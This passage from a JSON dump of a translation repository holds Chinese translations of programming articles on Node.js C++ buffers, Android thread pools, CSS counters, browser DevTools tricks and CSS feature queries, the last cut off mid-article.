`Nan::FreeCallback()`。第四个参数则提示重新分配内存地址，接着我们就可以随便使用。\n\n因为我们的问题是向量包含 bitmap 数据会传出作用域，我们可以 **动态** 分配向量，并传入回调，当 `Buffer` 被垃圾回收时能够被正确删除。\n\n以下是新的 `delete_callback`，与新的 `NewBuffer` 调用方法。 把真实的指针传入向量作为一个信号，这样它就能够被正确删除。\n\n```\n    void buffer_delete_callback(char* data, void* the_vector){  \n      deletereinterpret_cast<vector<unsigned char> *> (the_vector);\n    }\n\n    NAN_METHOD(GetBMP) {\n\n      unsigned char*buffer =  (unsigned char*) node::Buffer::Data(info[0]->ToObject());\n      unsigned int size = info[1]->Uint32Value();\n\n      std::vector<unsigned char> png_data(buffer, buffer + size);\n      std::vector<unsigned char> * bmp = new vector<unsigned char>();\n\n      if ( do_convert(png_data, *bmp)) {\n          info.GetReturnValue().Set(\n              NewBuffer(\n                (char *)bmp->data(),\n                bmp->size(),\n                buffer_delete_callback,\n                bmp)\n                .ToLocalChecked());\n      }\n    }\n```\n\n`npm install` 和 `npm start` 运行程序，目录下会生成 `sample.bmp` 文件，和 `sample.png` 非常相似 - 仅仅文件大小变大了（因为 bmp 压缩远没有 png 高效）。\n\n## 异步 Buffer 处理\n\n接着开发一个 png 转 bitmap 转换器的异步版本。使用 `Nan::AsyncWorker` 在一个 C++ 线程中执行真正的转换方法。通过使用 `Buffer` 对象，我们能够避免复制 png 数据，这样我们只需要拿到工作线程可访问的底层数据的指针。同样的，工作线程产生的数据（`bmp` 向量），也能够在不复制数据情况下用于创建新的 `Buffer`。\n\n```\n    class PngToBmpWorker : public AsyncWorker {\n        public:\n        PngToBmpWorker(Callback * callback,\n            v8::Local<v8::Object> &pngBuffer, int size)\n            : AsyncWorker(callback) {\n            unsigned char*buffer =\n              (unsigned char*) node::Buffer::Data(pngBuffer);\n\n            std::vector<unsigned char> tmp(\n              buffer,\n              buffer +  (unsigned int) size);\n\n            png_data = tmp;\n        }\n        voidExecute(){\n           bmp = new vector<unsigned char>();\n           do_convert(png_data, *bmp);\n        }\n        voidHandleOKCallback(){\n            Local<Object> bmpData =\n                   NewBuffer((char *)bmp->data(),\n                   bmp->size(), buffer_delete_callback,\n                   bmp).ToLocalChecked();\n            Local<Value> argv[] = { bmpData };\n            callback->Call(1, argv);\n        }\n\n        private:\n            vector<unsigned char> png_data;\n            std::vector<unsigned char> * bmp;\n    };\n\n    NAN_METHOD(GetBMPAsync) {  \n        int size = To<int>(info[1]).FromJust();\n        v8::Local<v8::Object> pngBuffer =\n          info[0]->ToObject();\n\n        Callback *callback =\n          new Callback(info[2].As<Function>());\n\n        AsyncQueueWorker(\n          new PngToBmpWorker(callback, pngBuffer , size));\n    }\n```\n\n我们新的 `GetBMPAsync` 扩展函数首先解压缩从 JavaScript 传入的 buffer，接着初始化并用 NAN API 把新的 `PngToBmpWorker` 工作线程入队。这个工作线程对象的 `Execute` 方法在转换结束时被工作线程内的 `libuv` 调用。当 `Execute` 函数返回，`libuv` 调用 Node.js 事件轮询线程的 `HandleOKCallback` 方法，创建一个 buffer 并调用 JavaScript 传入的回调函数。\n\n现在我们能够在 JavaScript 中使用这个扩展函数了：\n\n```\n    png2bmp.getBMPAsync(png_buffer,  \n      png_buffer.length,\n      function(bmp_buffer) {\n        fs.writeFileSync(bmp_file, bmp_buffer);\n    });\n```\n\n# 总结\n\n本文有两个核心卖点：\n\n1.\n不能忽视 V8 存储单元和 C++ 变量之间的数据拷贝消耗。如果你不注意，本来你认为把工作丢进 C++ 里执行可以提高的性能，就又被轻易消耗了。\n\n2.\nBuffer 提供了一个在 JavaScript 和 C++ 共享数据的方法，这样避免了数据拷贝。\n\n我希望通过旋转 ASCII 文本的简单例子，和同步与异步进行图片转换实战使用 Buffer 很简单。希望本文对你提升扩展应用的性能有所帮助！\n\n再次提醒，本文内的所有代码均能在 [https://github.com/freezer333/nodecpp-demo](https://github.com/freezer333/nodecpp-demo) 中找到，位于 \"buffers\" 目录下。\n\n如果你正在寻找关于如何设计 Node.js 的 C++ 扩展的小贴士，可以访问我的 [C++ 和 Node.js 一体化电子书](https://scottfrees.com/ebooks/nodecpp/)。\n"
  },
  {
    "path": "TODO/using-concurrency-and-speed-and-performance-on-android.md",
    "content": "> * 原文链接 : [Using concurrency to improve speed and performance in Android](https://medium.com/@ali.muzaffar/using-concurrency-and-speed-and-performance-on-android-d00ab4c5c8e3#.rt9z1k25u)\n* 原文作者 : [Ali Muzaffar](https://medium.com/@ali.muzaffar)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [edvardHua](https://github.com/edvardHua)\n* 校对者: [JOJO](https://github.com/Sausure)、[Jing KE](https://github.com/jingkecn)\n\n# Android 开发中利用异步来优化运行速度和性能\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f1cvbu9fzaj20m80fj48q.jpg)\n\n#### 我们知道，在Android框架中提供了很多异步处理的工具类。然而，他们中大部分实现是通过提供单一的后台线程来处理任务队列的。如果我们需要更多的后台线程的时候该怎么办呢？\n\n大家都知道Android的UI更新是在UI线程中进行的（也称之为主线程）。所以如果我们在UI线程中编写耗时任务都可能会阻塞UI线程更新UI。为了避免这种情况我们可以使用 AsyncTask, IntentService和Threads。在之前我写的一篇文章介绍了[Android 中异步处理的8种方法](https://medium.com/android-news/8-ways-to-do-asynchronous-processing-in-android-and-counting-f634dc6fae4e#.bkk6mudb4)。但是，Android提供的[AsyncTasks](http://developer.android.com/reference/android/os/AsyncTask.html)和[IntentService](http://developer.android.com/reference/android/os/AsyncTask.html)都是利用单一的后台线程来处理异步任务的。那么，开发人员如何创建多个后台线程呢？\n\n**更新:** [Marco Kotz](https://medium.com/u/b49242be2be7) [指出](https://medium.com/@mrcktz/hi-ali-nice-article-thanks-for-sharing-ba72b07f1fb3)结合使用ThreadPool Executor和AsyncTask，后台可以有多个线程（默认为5个）同时处理AsyncTask。 \n\n### 创建多线程常用的方法\n\n在大多数使用场景下，我们没有必要产生多个后台线程，简单的创建AsyncTasks或者使用基于任务队列的IntentService就可以很好的满足我们对异步处理的需求。然而当我们真的需要多个后台线程的时候，我们常常会使用下面的代码简单的创建多个线程。\n\n```java\n    String[] urls = …\n    for (final String url : urls) {\n        new Thread(new Runnable() {\n            public void run() {\n                // 调用API、下载数据或图片\n            }\n        }).start();\n    }\n```\n\n该方法有几个问题。一方面，操作系统限制了同一域下连接数（限制为4）。这意味着，你的代码并没有真的按照你的意愿执行。新建的线程如果超过数量限制则需要等待旧线程执行完毕。 另外，每一个线程都被创建来执行一个任务，然后销毁。这些线程也没有被重用。\n\n### 常用方法存在的问题\n\n举个例子，如果你想开发一个连拍应用能在1秒钟连拍10张图片（或者更多）。应用该具备如下的子任务：\n\n*   在一秒的时间内扑捉10张以byte[]形式储存的照片，并且不能够阻塞UI线程。\n*   将byte[]储存的数据格式从YUV转换成RGB。\n*   使用转换后的数据创建Bitmap。\n*   变换Bitmap的方向。\n*   生成缩略图大小的Bitmap。\n*   将全尺寸的Bitmap以Jpeg压缩文件的格式写入磁盘中。\n*   使用上传队列将图片保存到服务器中。\n\n很明显，如果你将太多的子任务放在UI线程中，你的应用在性能上的表现将不会太好。在这种情况下，唯一的解决方案就是先将相机预览的数据缓存起来，当UI线程闲置的时候再来利用缓存的数据执行剩下的任务。\n\n另外一个可选的解决方案是创建一个长时间在后台运行的HandlerThread，它能够接受相机预览的数据，并处理完剩下的全部任务。当然这种做法的性能会好些，但是如果用户想再连拍的话，将会面临较大的延迟，因为他需要等待HandlerThread处理完前一次连拍。\n\n```java\n    public class CameraHandlerThread extends HandlerThread\n            implements Camera.PictureCallback, Camera.PreviewCallback {\n        private static String TAG = \"CameraHandlerThread\";\n       private static final int WHAT_PROCESS_IMAGE = 0;\n\n        Handler mHandler = null;\n        WeakReference<camerapreviewfragment> ref = null;\n\n        private PictureUploadHandlerThread mPictureUploadThread;\n        private boolean mBurst = false;\n        private int mCounter = 1;\n\n        CameraHandlerThread(CameraPreviewFragment cameraPreview) {\n            super(TAG);\n            start();\n            mHandler = new Handler(getLooper(), new Handler.Callback() {\n\n                @Override\n                public boolean handleMessage(Message msg) {\n                    if (msg.what == WHAT_PROCESS_IMAGE) {\n                        // 业务逻辑\n                    }\n                    return true;\n                }\n            });\n            ref = new WeakReference<>(cameraPreview);\n        }\n\n       ...\n\n        @Override\n        public void onPreviewFrame(byte[] data, Camera camera) {\n            if (mBurst) {\n                CameraPreviewFragment f = ref.get();\n                if (f != null) {\n                    mHandler.obtainMessage(WHAT_PROCESS_IMAGE, data)\n                   .sendToTarget();\n                    try {\n                        sleep(100);\n                    } catch (InterruptedException e) {\n                        e.printStackTrace();\n                    }\n                    if (f.isAdded()) {\n                        f.readyForPicture();\n                    }\n                }\n                if (mCounter++ == 10) {\n                    mBurst = false;\n                    mCounter = 1;\n                }\n            }\n        }\n    }\n```    \n\n**提醒：** 如果你需要学习更多有关于HandlerThreads内容以及如何使用它，请阅读[我发表的关于HandlerThreads的文章。](https://medium.com/@ali.muzaffar/handlerthreads-and-why-you-should-be-using-them-in-your-android-apps-dc8bf1540341#.co4ilm67m)\n\n看起来所有的任务都被后台的单一线程处理完毕了，我们性能提升主要得益于后台线程长期运行并不会被销毁和重建。然而，我们后台的单一线程却要和其他优先等级更高的任务共享，而且这些任务只能够顺序执行。\n\n我们也可以创建第二个HandlerThread来处理我们的图像，然后创建第三个HandlerThread来将照片写入磁盘，最后再创建第四个HandlerThread来将照片上传到服务器中。我们能够加快拍照的速度，但是，这些线程相互之间还是遵循顺序执行的规则，并不是真的并发。因为每张照片是顺序处理的，而且处理每一张照片需要一定的时间，导致用户在点击拍照按钮到显示全部缩略图的时候仍然能够明显的感觉到延迟。\n\n### 使用ThreadPool并发处理任务\n\n我们可以根据需求创建多个线程，但是创建过多的线程会消耗CPU周期影响性能，并且线程的创建和销毁也需要时间成本。所以我们不想创建多余的线程，但是又想能够充分的利用设备的硬件资源。这个时候我们可以使用ThreadPool。\n\n通过创建ThreadPool对象的单例来在你的应用中使用ThreadPool。\n\n```java\n    public class BitmapThreadPool {\n        private static BitmapThreadPool mInstance;\n        private ThreadPoolExecutor mThreadPoolExec;\n        private static int MAX_POOL_SIZE;\n        private static final int KEEP_ALIVE = 10;\n        BlockingQueue<runnable> workQueue = new LinkedBlockingQueue<>();\n\n        public static synchronized void post(Runnable runnable) {\n            if (mInstance == null) {\n                mInstance = new BitmapThreadPool();\n            }\n            mInstance.mThreadPoolExec.execute(runnable);\n        }\n\n        private BitmapThreadPool() {\n            int coreNum = Runtime.getRuntime().availableProcessors();\n            MAX_POOL_SIZE = coreNum * 2;\n            mThreadPoolExec = new ThreadPoolExecutor(\n                    coreNum,\n                    MAX_POOL_SIZE,\n                    KEEP_ALIVE,\n                    TimeUnit.SECONDS,\n                    workQueue);\n        }\n\n        public static void finish() {\n            mInstance.mThreadPoolExec.shutdown();\n        }\n    }\n```\n\n然后，在上面的代码中，简单的修改Handler的回调函数为：\n\n```java\n    mHandler = new Handler(getLooper(), new Handler.Callback() {\n\n        @Override\n        public boolean handleMessage(Message msg) {\n            if (msg.what == WHAT_PROCESS_IMAGE) {\n                BitmapThreadPool.post(new Runnable() {\n                    @Override\n                    public void run() {\n                        // 做你想做的任何事情\n                    }\n                });\n            }\n            return true;\n        }\n    });\n```\n\n优化已经完成！通过下面的视频，我们观察到加载缩略图的速度提升是非常明显的。\n\n这种做法的优点是我们可以定义线程池的大小并且指定空余线程保持活动的时间。我们也可以创建多个ThreadPools来处理多个任务或者使用单个ThreadPool来处理多个任务。但是在使用完后记得清理资源。\n\n我们甚至可以为每一个功能创建一个独立的ThreadPool。譬如说在这个例子中我们可以创建三个ThreadPool,第一个ThreadPool负责数据转换成Bitmap，第二个ThreadPool负责写数据到磁盘中去，第三个ThreadPool上传Bitmap到服务器中去。这样做的话，如果我们的ThreadPool最大拥有4条线程，那么我们就能够同时的转换，写入，上传四张相片。用户将看到4张缩略图是同时显示而不是一个个的显示出来的。\n\n上面这个简单例子代码可以在[我的GitHub](https://github.com/alphamu/ThreadPoolWithCameraPreview)上得到，欢迎看完代码后给我反馈\n\n另外，你也可以在[Google Play](https://play.google.com/store/apps/details?id=au.com.alphamu.camerapreviewcaptureimage)上面下载演示应用。\n\n**使用ThreadPool前:** 如果可以，从顶部观察计数器的变化来得知当底部缩略图从开始显示到全部显示完成所耗费的时间。在程序中除了adapter中的notifyDataSetChanged()方法外，我已经将大部分的操作从主线程中剥离，所以计数器的运行是很流畅的。\n\n<figure><iframe frameborder=\"0\" allowfullscreen=\"1\" title=\"YouTube video player\" width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/YmU8ogom_5g?wmode=opaque&amp;widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F6a9266d6d49e3e234f9d60f5763602df%3FmaxWidth%3D640&amp;enablejsapi=1&amp;origin=https%3A%2F%2Fcdn.embedly.com\"></iframe></figure>\n\n**使用ThreadPool后:** 通过顶部的计数器，我们发现使用了ThreadPool后，照片的缩略图加载速度明显变快。\n\n<figure><iframe frameborder=\"0\" allowfullscreen=\"1\" title=\"YouTube video player\" width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/77Lh9XpXArw?wmode=opaque&amp;widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F53c35a233037c20ad1c4f2cba7528580%3FmaxWidth%3D640&amp;enablejsapi=1&amp;origin=https%3A%2F%2Fcdn.embedly.com\"></iframe></figure>\n\n### 最后\n\n如果想要开发更加快的应用程序, [请阅读我的文章](https://medium.com/@ali.muzaffar).\n\n文章已经到底了，在Medium上Follow我吧。 [LinkedIn](https://www.linkedin.com/in/alimuzaffar), [Google+](https://plus.google.com/+AliMuzaffar) or [Twitter](https://twitter.com/ali_muzaffar).\n"
  },
  {
    "path": "TODO/using-css-counters.md",
    "content": "> * 原文地址：[Using CSS Counters](https://pineco.de/using-css-counters/)\n> * 原文作者：[Adam Laki](https://pineco.de/author/laki/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-css-counters.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-css-counters.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[snowyyu](https://github.com/snowyyu)，[ryouaki](https://github.com/ryouaki)\n\n# 教你使用 CSS 计数器\n\n**CSS 计数器是我们可以用特定属性递增或递减的变量。有了它，我们就可以像在编程语言里面一样，实现一些普通的迭代。**\n\n这种方法可以用于一些创造性的解决方案，其中包括代码中一些重复部分的计数。\n\n为了控制你的计数器，你需要 `counter-increment` 和 `counter-increment` 属性，以及 `counter()` 和 `counters()` 函数。显示不出数值的话这些方法根本没啥用，所以我们要搭配简单的 content 属性。\n\n特性很简单。比如你有一个无序的列表，你想要计数 li 的项，则需要在 ul 上声明一个计数器，然后就可以在其下的 li 增加它的数值了。\n\n## counter-reset 属性\n\n我们可以用 `counter-reset` 属性来定义我们的计数器变量；为此，我们必须给出任意的名字和可选的开始值。默认的开始值是 0。这个属性是包装器元素。\n\n## counter-increment 属性\n\n运用 `counter-increment` 属性，我们可以递增或者递减计数器的值。该属性还有一个可选的值，用于指定递增/递减量。\n\n## counter() 函数\n\n`counter()` 函数负责转储。转储的位置是内容属性，因为这是您可以通过 CSS 将数据返回给 HTML 的地方。该函数有两个参数，第一个参数是计数器变量名，第二参数是[计数器类型](https://drafts.csswg.org/css-counter-styles-3/#typedef-counter-style)(可选)。\n\n**注意：** 在CSS中没有任何连接运算符，所以如果你想连接内容属性中的两个值只能使用空格。\n\n## counters() 函数\n\n这个函数跟 `counter()`函数实现同样的功能。主要区别在于用 `counter()` 你可以像嵌套ul一样把一个计数器插入到另一个。它有三个参数，第一个是计数器名称，第二个是分隔符，第三个是计数器类型（可选）。\n\n## 使用场景 #1 - 自动追踪文档条目\n当你需要处理一些重复元素的时候，并且你同样想统计他们的数量，那么这个方案会很好用。。\n\n我们在我们的 `.container` 包裹元素创建一个 `counter-reset`。创建后，我们为具有**问题类名**的项目设置一个 `counter-increment`。最后，我们用`.issues：before` 条目的内容属性显示出计数器的值。\n\n详见 Adam Laki ([@adamlaki](https://codepen.io/adamlaki)) on [CodePen](https://codepen.io) 的[ CSS 计数器案例](https://codepen.io/adamlaki/pen/RrKBpJ/) 文章。\n\n## 使用场景 #2 - 嵌套列表\n\n使用 `counters()` 函数，我们可以像在文本编辑器程序那样制作嵌套列表计数器。\n\n详见 Adam Laki ([@adamlaki](https://codepen.io/adamlaki)) on [CodePen](https://codepen.io) 的[嵌套计数器](https://codepen.io/adamlaki/pen/a1907874b8b6eb2395cf0af7742e8f9d/)文章。\n\n## 使用场景 #3 - 计算已经勾选的复选框\n\n使用输入框的：checked 伪类，我们可以检查复选框是否被选中，选中的话，我们计数器的数值就会增加。\n\n详见 Adam Laki ([@adamlaki](https://codepen.io/adamlaki)) on [CodePen](https://codepen.io) 的[复选框计数器](https://codepen.io/adamlaki/pen/RrKBpJ/) 文章。\n\n## 视频总结\n\n[Steve Griffith](https://www.youtube.com/channel/UCTBGXCJHORQjivtgtMsmkAQ) 就这个话题做了一个很好的和内容丰富的整套视频。它涵盖了几乎所有你需要了解的 CSS 计数器。\n\n<iframe width=\"911\" height=\"537\" src=\"https://www.youtube.com/embed/TJR7qGCOjTk\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n## 其他使用案例\n\n1. Šime Vidas 发布了一个 [注释很好的示例](https://codepen.io/simevidas/pen/xpbLmV?editors=0100)。\n2. Sam Dutton 做了一个[有趣的在线计数示例](https://codepen.io/samdutton/pen/xpGxbY)。\n3. Gaël 在复杂的层面上[为他的名为 a11y.css 的项目](http://ffoodd.github.io/a11y.css/errors.html)使用了这个特性。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/using-devtools-tweak-designs-browser.md",
    "content": "> * 原文地址：[Using DevTools to Tweak Designs in the Browser](https://css-tricks.com/using-devtools-tweak-designs-browser/)\n> * 原文作者：[AHMAD SHADEED](https://css-tricks.com/author/shadeed9/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[bambooom](https://github.com/bambooom)\n> * 校对者：[gy134340](https://github.com/gy134340) / [avocadowang](https://github.com/avocadowang)\n\n# 使用开发者工具在浏览器中调整设计\n\n让我们来看看使用浏览器的开发者工具做设计工作的几种方式。你会发现一些很方便的隐藏技巧。\n\n### 使用复选框切换类名\n\n当你在从不同的选择中挑选一个设计时，或者在不手动添加类名的时候切换元素的状态时，这个技巧很有用。\n\n为了达到这一点，我们可以使用不同的类名和范围样式。那么如果想看看不同的横幅设计的样式的时候，我们可以这么做： \n\n\n```css\n.banner-1 {\n  /* Style variation */\n}\n\n.banner-2 {\n  /* Style variation */\n}\n```\n\nGoogle Chrome 可以让我们添加所有类，并在其中使用复选框切换来快速比较不同的样式。\n\n[![](https://i.vimeocdn.com/video/623010079.webp?mw=700&mh=525)](https://player.vimeo.com/video/207830826)\n\n[可以看看 codepen demo](http://codepen.io/shadeed/pen/e2a8f51691cad05bdfd5b14fb9365214?editors=0100).\n\n### 开启 designMode 来编辑内容\n\nweb 内容是动态的，所以设计应该是灵活的，我们应该测试不同类型不同长度的内容。比方说，输入一个非常长的单词可能会破坏现有的设计。为了检查这个，我们可以在浏览器控制台里输入 `document.designMode = 'on'` 后编辑我们的设计。\n\n[![](https://i.vimeocdn.com/video/623015649.webp?mw=700&mh=525)](https://player.vimeo.com/video/207835383)\n\n这个可以很方便的测试设计而不需要手动在源代码中进行修改。\n\n### 隐藏元素\n\n有时我们需要隐藏某些元素试试看如果没有它的时候是什么样子。Chrome DevTools 可以让我们检查一个元素然后键盘输入 `h` 来隐藏它，也就是切换元素 CSS 的 visibility 属性。\n\n[![](https://i.vimeocdn.com/video/623017144.webp?mw=700&mh=439)](https://player.vimeo.com/video/207836443)\n\n当你需要隐藏某些元素并截图，再和你的同事、设计师或者经理讨论的时候，这个功能非常有用。有时我会利用这个技巧去隐藏元素并截图后，在 PhotoShop 中快速模拟简单的想法。\n\n### 截图设计元素\n\nFireFox 的开发者工具中有一个很有用的功能，它可以给 DOM 中特定元素截图。这样的话，我们可以将几种不同的方案放在一起对比挑选最好的方案。\n\n按照如下步骤：\n\n1. 打开 FireFox 开发者工具\n2. 对一个元素右键，选择**节点截图**（**Screenshot Node**）\n3. 截图会存在默认的下载路径文件夹中\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/firefox-screenshot.jpg)\n\n你也可以在 Chrome 中使用这个功能，有一个插件叫 [Element Screenshot](https://chrome.google.com/webstore/detail/element-screenshot/mhbapdljigafafoimcnnhagdclejnkcf) 可以达到相同的效果。\n\n### 更改设计颜色\n\n在设计项目的初期阶段，你可能需要探索多种不同的调色板。CSS 的 `hue-rotate` 函数是一共功能强大的过滤器，它可以让我们在浏览器中更改设计颜色。它可以旋转图像或元素中每个像素的色相。其中的值可以通过 `deg` 或者 `rad` 设定。 \n\n在下面的视频中，我给组件添加了 `filter: hue-rotate(value)` 属性，注意看所有的颜色是如何变化的。\n\n[![](https://i.vimeocdn.com/video/623210796.webp?mw=700&mh=577)](https://player.vimeo.com/video/207995530)\n\n注意**每个**设计元素都会被使用 `hue-rotate` 所影响。比如，用户头像的颜色好像不太对，我们可以通过应用 `hue-rotate` 的负值使之恢复正常。\n\n\n```css\n.bio__avatar {\n  filter: hue-rotate(-100deg);\n}\n```\n\n\nSee the [demo Pen](http://codepen.io/shadeed/pen/2d611749947ac7688c2710248c473e50?editors=0010).\n\n### 使用 CSS 变量（自定义 CSS 属性）\n\n虽然自定义属性的[浏览器支持](http://caniuse.com/#feat=css-variables)并不是很友好（现在 Microsoft Edge 现在[正在开发](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/csscustompropertiesakacssvariables/?q=css%20v)）。我们现在也仍然可以从 CSS 变量中获益。使用自定义变量定义间距和颜色单位可以通过更改很小的值轻松实现巨大的变化。\n\n我在我们网页上定义了下面一些变量：\n\n```css\n:root {\n  --spacing-unit: 1em;\n  --spacing-unit-half: calc(var(--spacing-unit) / 2); /* = 0.5em */\n  --brand-color-primary: #7ebdc2;\n  --brand-color-secondary: #468e94;\n}\n```\n\n这些变量可以在网站所有的元素上使用，就像链接、导航、边距和背景颜色。当在开发工具中更改一个变量的值，所有相关联的元素都会受到影响。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-12-at-4.34.47-PM.jpg)\n\n### 使用 CSS 属性 `filter: invert()` 翻转元素 \n\n当你在黑底白字或者白底黑字的情况下，这个属性是很有用的。例如，在标题中，我们在黑色背景上将页面标题设为白色，然后在元素上添加了 `filter: invert()`属性，所有的颜色就会被反转。 \n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/invert-filter.gif)\n\n### CSS 视觉编辑器\n\n这个功能每天都在变得越来越好。Safari 具有非常好的用于编辑值的 UI 工具，Chrome 也正在向 DevTools 中缓慢添加类似的东西。\n\n[![](https://i.vimeocdn.com/video/623229127.webp?mw=700&mh=525)](https://player.vimeo.com/video/208011466)\n\nChrome 有些很实用的工具用来编辑 `box-shadow`、`background-color`、`text-shadow` 和 `color`.\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/chrome-visual-css.gif)\n\n我想上面这些技巧对于并不是特别熟悉 CSS 的设计师会很有帮助。直接视觉上的进行编辑会给设计师更多对设计细节的把控，他们可以在浏览器中调整并将结果显示给开发人员来实现。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/using-feature-queries-in-css.md",
    "content": "\n> * 原文地址：[Using Feature Queries in CSS](https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/)\n> * 原文作者：[Jen Simmons](http://jensimmons.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-feature-queries-in-css.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-feature-queries-in-css.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[LeviDing](https://github.com/leviding)、[H2O-2](https://github.com/H2O-2)\n\n# 在 CSS 中使用特征查询\n\nCSS 中有一个你可能还没有听说过的工具。它很强大。它已经存在一段时间了。并且它很可能会成为你最喜欢的 CSS 新功能之一。\n\n这就是 `@supports` 规则，也被称为 [Feature Queries](http://www.w3.org/TR/css3-conditional/#at-supports)。\n\n通过使用 `@supports`，你可以在 CSS 中编写一个小测试，以查看是否支持某个“特性”（CSS 属性或值），并根据其返回的结果决定是否调用代码块。例如：\n```\n    @supports (display: grid) {\n       // 只有在浏览器支持 CSS 网格时才会运行代码\n     }\n```\n如果浏览器支持 `display: grid`，那么括号内的所有样式都将被应用。否则将跳过所有样式。\n\n现在，对于特征查询的用途，似乎还不是很清晰。这不是一种分析浏览器是否**正确地**实现了 CSS 属性的外部验证，如果你正在寻找这样的外部验证，[参考这里](http://testthewebforward.org)。特征查询要求浏览器对是否支持某个 CSS 属性/值进行自我报告，并根据其返回的结果决定是否调用代码块。如果浏览器不正确或不完整地实现了一个特性，`@supports` 不会对你有帮助。如果浏览器误报了 CSS 支持的情况，`@supports` 不会对你有帮助。这不是一个能使浏览器漏洞消失的魔法。\n\n即便如此，我仍然觉得 `@supports` 非常有用。如果没有 `@supports` 规则的帮助，我对多个 CSS 新规则的使用就会被推迟很多。\n\n多年来，开发者都用 [Modernizr](https://modernizr.com) 做特征查询，但是 Modernizr 需要 JavaScript。即使脚本很小，Modernizr 的构建的CSS 需要 JavaScript 文件的下载、执行并且要在应用 CSS 之前完成。涉及 JavaScript 总是比只使用 CSS 慢。如果 JavaScript 打开失败也就是说如果 JavaScript 不执行会发生什么？另外，Modernizr 需要一个复杂并且许多项目无法处理的附加层。特征查询速度更快、更健壮、使用起来更加简单。\n\n你可能会注意到，特征查询的语法与媒体查询非常相似。我把他们看做堂兄弟。\n```\n    @supports (display: grid) {\n      main {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));\n      }\n    }\n```\n现在大多数情况下，CSS 中不需要这样的测试。例如，你在写下面代码的时候不用测试其支持情况：\n```\n    aside {\n      border: 1px solid black;\n      border-radius: 1em;\n    }\n```\n如果浏览器支持 `border-radius`，那么它将在 `aside` 上设置圆角。如果没有，它将跳过代码行并继续前进，使框的边缘为正方形。这里没有理由运行测试或使用特征查询。CSS 就是这样工作的。这是 [architecting solid, progressively-enhanced CSS](http://jensimmons.com/presentation/progressing-our-layouts) 中的一个基本原则。浏览器只跳过不支持的代码，不抛出错误。\n \n![新旧浏览器中圆角效果截图](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/border-radius.png)大多数的浏览器显示 `border-radius: 1em` 如图片的右边所示。然而，Internet Explorer 6、7 和 8 不会设置圆角，显示效果如图片的左边所示。看看这个例子 [codepen.io/jensimmons/pen/EydmkK](http://codepen.io/jensimmons/pen/EydmkK?editors=1100) \n您不需要为此进行功能查询。\n\n那么，你想什么时候使用 `@supports` ？特征查询是一种将 CSS 声明捆绑在一起的工具，以便在一定条件下作为一个组运行。当你想在新的 CSS 功能被支持的时候，将新的和旧的 CSS 混合使用，那么请使用特征查询。\n\n让我们看一下使用 Initial Letter 属性的示例。这个新属性 `initial-letter` 告诉浏览器，使元素变得更大 —— 像段首大字。在这里，一个段落中第一个词的第一个字母被设置为四行文字的大小。非常好。但我还是想把那字母加粗，在右边留一点空白，让它变成一个漂亮的橙色。酷。\n```\n    p::first-letter {\n         -webkit-initial-letter: 4;\n         initial-letter: 4;\n         color: #FE742F;\n         font-weight: bold;\n         margin-right: 0.5em;\n      }\n```\n\n![`initial-letter`这个例子在 Safari 9 下面的截图](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/intial-letter-1.gif)\n这是我们的 `initial-letter` 的例子在 Safari 9 下的显示。现在让我们看看其他浏览器会发生什么…\n\n![`initial-letter` 这个例子在其他浏览器下面的截图](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2016/08/intial-letter-2.png)哦，不，这在其他浏览器看起来非常糟糕。这是不能接受的。我们不想改变字母的颜色，或者增加一个空白，或者让它加粗，除非它通过 `initial-letter` 